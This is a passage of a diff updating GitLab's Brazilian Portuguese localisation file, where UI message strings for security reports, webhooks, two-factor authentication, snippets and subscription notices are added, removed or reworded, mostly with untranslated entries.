msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr "Veja os projetos afetados no painel de administração do GitLab"
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Selecionar"
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "Selecionar branch de origem"
@@ -21712,6 +22331,9 @@ msgstr "Selecionar período"
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "Selecionar usuário"
@@ -21901,6 +22523,12 @@ msgstr "Balcão de Atendimento"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Modelos de serviço"
@@ -21913,6 +22541,12 @@ msgstr "Duração da sessão (minutos)"
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "Defina um modelo padrão para descrições de issues."
@@ -22229,12 +22863,6 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
-msgstr ""
-
-msgid "Showing Version #%{versionNumber}"
-msgstr ""
-
msgid "Showing all issues"
msgstr ""
@@ -22244,6 +22872,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr "Mostrando os últimos %{size} de log -"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr "Lado a lado"
@@ -22337,6 +22971,9 @@ msgstr "Fazer login usando sua conta %{label} sem uma conta GitLab pré-existent
msgid "Similar issues"
msgstr "Issues semelhantes"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr "Ocorreu um erro ao tentar alterar a confidencialidade desta issue"
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Algo deu errado ao tentar mudar o estado de bloqueio desse %{issuableDisplayName}"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Algo deu errado ao alternar o botão"
@@ -22622,12 +23271,12 @@ msgstr "Algo deu errado, incapaz de adicionar %{project} ao dashboard"
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
msgid "Something went wrong, unable to get projects"
msgstr "Algo deu errado, não foi possível obter os projetos"
-msgid "Something went wrong, unable to remove project"
-msgstr "Algo deu errado, não é possível remover o projeto"
-
msgid "Something went wrong, unable to search projects"
msgstr ""
@@ -23522,6 +24171,9 @@ msgstr "Mudar para GitLab Next"
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Informação de sincronização"
@@ -23570,6 +24222,9 @@ msgstr "Lista de tags:"
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Tags"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Feed de tags"
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Análise de cobertura de teste"
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,16 +24531,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "O Advanced Global Search no GitLab é um poderoso serviço de pesquisa que economiza seu tempo. Em vez de criar código duplicado e perder tempo, você pode agora procurar código dentro de outras equipes que podem ajudar seu próprio projeto."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "O Certificado X509 a ser usado quando o TLS mútuo é necessário para se comunicar com o serviço de autorização externa. Se deixado em branco, o certificado do servidor ainda será validado ao acessar por HTTPS."
@@ -23935,6 +24596,9 @@ msgstr "A coleção de eventos adicionados aos dados coletados para essa etapa."
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "A conexão expirará após %{timeout}. Para repositórios que demoram mais tempo, use a combinação clone/push."
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "Os seguintes itens NÃO serão exportados:"
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr "O projeto pode ser acessado por qualquer pessoa, independentemente da au
msgid "The project can be accessed without any authentication."
msgstr "O projeto pode ser acessado sem a necessidade de autenticação."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr "Já existe um repositório com esse nome no disco"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr "Erro ao se inscrever nessa etiqueta."
msgid "There was an error when unsubscribing from this label."
msgstr "Erro ao se anular a inscrição dessa etiqueta."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr "Ofertas de terceiros"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr "Esta é a sua sessão atual"
-msgid "This issue is confidential"
-msgstr "Essa issue é confidencial"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "Este projeto ainda não tem uma página inicial na wiki"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "Este projeto não possui faturamento ativado. Para criar um cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">ative o faturamento <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> e tente novamente."
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr "Esse usuário será o autor de todos os eventos no feed de atividades qu
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr "Para conectar um repositório SVN, confira %{svn_link}."
msgid "To define internal users, first enable new users set to external"
msgstr "Para definir usuários internos, primeiro ative os novos usuários definidos como externos"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "Para habilitá-lo e ver coortes de usuários, visite %{application_settings_link_start}configurações do aplicativo%{application_settings_link_end}."
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "Para visualizar o planejamento, adicione uma data de início ou fim para um de seus épicos nesse grupo ou seus subgrupos. No visualizador de meses, apenas épicos do mês passado, mês atual, e dos próximos 5 meses são exibidos."
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr "Hoje"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr "Alternar :%{name}: prêmio de emoji."
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Amanhã"
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "Pipelines de disparo para atualizações de espelho"
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Ativar o Balcão de Atendimento"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25747,12 +26447,24 @@ msgstr "Autenticação de dois fatores"
msgid "Two-factor Authentication Recovery codes"
msgstr "Códigos de recuperação de autenticação de dois fatores"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr ""
-
msgid "Two-factor authentication"
msgstr "Autenticação de dois fatores"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Tipo"
@@ -25933,8 +26645,8 @@ msgstr "Desbloquear"
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "Desbloquear este %{issuableDisplayName}? <strong>Todos</strong> poderão comentar."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "Desbloqueado"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Não verificado"
@@ -26104,9 +26819,6 @@ msgstr "Atualizado"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Atualizado em %{updated_at} por %{updated_by}"
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,8 +26834,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Aprimore seu plano para ativar a Pesquisa Global Avançada."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26197,8 +26909,8 @@ msgstr "Votos positivos"
msgid "Usage"
msgstr "Uso"
-msgid "Usage ping is not enabled"
-msgstr "Dados de uso não está habilitado"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "Estatísticas de uso"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "Use o Balcão de Atendimento para se conectar com seus usuários (por exemplo, para oferecer suporte ao cliente) por email dentro do GitLab"
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "GrupoCoortes de usuário são mostradas somente quando os %{usage_ping_link_start}dados de uso%{usage_ping_link_end} são habilitados."
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr "Validar"
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr "Versão"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr "Vulnerabilidades"
msgid "Vulnerabilities over time"
msgstr "Vulnerabilidades ao longo do tempo"
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr "Webhooks permitem que você acione um URL se, por exemplo, um novo códi
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Quarta-feira"
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,11 +28328,11 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "Você está conectado ao servidor Prometheus, mas atualmente não há dados para exibir."
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Você irá remover %{project_full_name}. O projeto removido NÃO PODE ser restaurado! Tem certeza ABSOLUTA?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Você irá transferir %{project_full_name} para outro proprietário. Tem certeza ABSOLUTA?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr "Você está agora se passando por %{username}"
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr "Você não pode escrever nesta instância somente-leitura do GitLab."
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "Você não poderá fazer pull ou push via %{protocol} até que %{set_pas
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Você não poderá fazer push ou pull do código via SSH enquanto não adicionar sua chave SSH no seu perfil"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr "Seus grupos"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr "entre outras coisas"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "Você está prestes a desligar a confidencialidade. Isso significa que <strong>todos</strong> serão capazes de ver e deixar comentários nesse issue."
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "Você está prestes a ligar a confidencialidade. Isso significa que apenas membros da equipe com <strong>ao menos acesso de Relator</strong> serão capazes de ver e deixar comentários nesse issue."
-
msgid "connecting"
msgstr "conectando"
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr "de"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "instâncias completas"
@@ -28789,6 +29611,9 @@ msgstr "não é um certificado X509 válido."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr "%{metricsLinkStart} Memória %{metricsLinkEnd} uso é %{emphasisStart} i
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "Permite commits de membros que podem fazer merge ao branch de destino"
